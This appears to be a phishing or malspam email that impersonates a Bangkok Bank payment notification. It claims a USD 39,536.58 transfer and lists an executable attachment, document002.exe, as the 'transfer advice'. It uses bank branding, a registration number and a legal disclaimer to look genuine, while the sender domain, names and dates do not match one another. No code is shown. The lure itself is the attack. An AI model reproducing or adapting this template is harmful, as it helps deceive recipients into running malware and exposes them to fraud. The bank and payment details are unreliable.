admin@cngold-dragon.pw

Subject: PAYMENT DETAILS
To: Recipients <admin@cngold-dragon.pw>
From: "AHeng" <admin@cngold-dragon.pw>
X-Attached: document002.exe

Please find attached the transfer advice for the payment.  Please send me a confirmation once the funds have been received and let me know if there are any questions.  Thanks.



Regards

beano




Bangkok Bank Public Company Limited
Global Payment Services Department
343 Silom Road Bangrak, Bangkok 10520 Tel. 0-2625-9100
Taxpayer ID. No. / Registration No.0107536300374
________________________________________________________________________________________





                                  Payment Notification
ZCZC 162417

Date : 05 Jul 2019
________________________________________________________________________________________


We have received a payment instruction for your account with the following details :


Sender bank            : CITIBANK N.A.
                         NEW YORK,NY US
Sender bank ref. no.   : S0681830359201
Value Date             : 02-07-2018
(IMPORTANT : PLEASE NOTE THAT FOREIGN CURRENCY CONVERSION AND PAYMENT CANNOT BE
             EFFECTED UNTIL VALUE DATE)

Amount                 : USD39536.58
By order of            : 1/AL ALMIYA AL HURAH GENERAL TRADIN
                         2/P O BOX 122162,DUBAI,UAE,NO 402 B
                         2/LD MAKATIB ST BUR SAEED AREA DEIR
                         3/AE/UNITED ARAB EMIRATES
Beneficiary A/C        : 1053146740
Beneficiary name       : NATURAL RUBBER THREAD CO LTD
Details of payment     : /REF/YARN
Receiver's Charges     :
Additional Information :
________________________________________________________________________________________
Terms and Conditions:
1. Please note that foreign conversion and payment cannot be effected until value date.
2. Please confirm details of payment by 16.00 hrs. on the above indicated value date.
3. If we do not hear from you by 16.00 hrs. on the above indicated value date, we will
   assume that you agree for us to hold your payment.

This advice is for informational purpose only and cannot be treated as a confirmation of
payment.

In compliance with the Bank of Thailand regulations, a person to sell or deposit foreign
currencies in an amount at least USD 50,000 or its equivalent is required to submit the
Foreign Exchange Transaction Form to the Bank.


----------------------------------
Confidentiality and Disclaimer

This e-mail and any attachments hereto (the E-mail) may contain information which is confidential and/or proprietary and transmitted for the sole use of the recipient(s) named above and for the intended purpose only. If you are not the intended recipient of the E-mail, you are hereby notified that any review, copy, retransmission, distribution, or use of the E-mail in any manner for any purpose is strictly prohibited and please notify the sender, delete the original of the E-mail and destroy all copies immediately. Bangkok Bank accepts no responsibility for any mis-transmission or virus contamination of, or interference with, the E-mail, or for any loss or damage that may be incurred as a result of the use of any information contained in the E-mail.